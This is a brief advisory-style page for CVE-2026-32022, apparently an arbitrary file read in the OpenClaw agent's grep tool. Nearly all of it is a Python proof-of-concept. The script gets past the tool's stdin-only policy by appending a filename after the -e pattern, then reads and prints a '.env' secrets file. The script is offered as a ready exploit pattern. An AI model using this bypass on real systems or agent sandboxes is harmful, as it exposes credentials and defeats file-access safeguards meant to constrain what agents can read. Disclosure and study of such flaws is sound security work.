CVE-2026-32022 OpenClaw grep工具任意文件读取漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-32022 # This script demonstrates the bypass of the stdin-only policy in OpenClaw's grep tool. # By appending a filename as a positional argument after the -e flag, # the grep tool reads the file instead of stdin. import subprocess def exploit_poc(): # Target sensitive file target_file = ".env" # The pattern to search for. Using ".*" matches everything in the file. # The vulnerability lies in passing the filename after the pattern. command = ["grep", "-e", ".*", target_file] try: print(f"[*] Attempting to read {target_file} via grep bypass...") result = subprocess.run(command, capture_output=True, text=True, check=True) print("[+] Exploit successful! File content:") print(result.stdout) except subprocess.CalledProcessError as e: print("[-] Exploit failed or file not found.") print(e.stderr) if __name__ == "__main__": exploit_poc()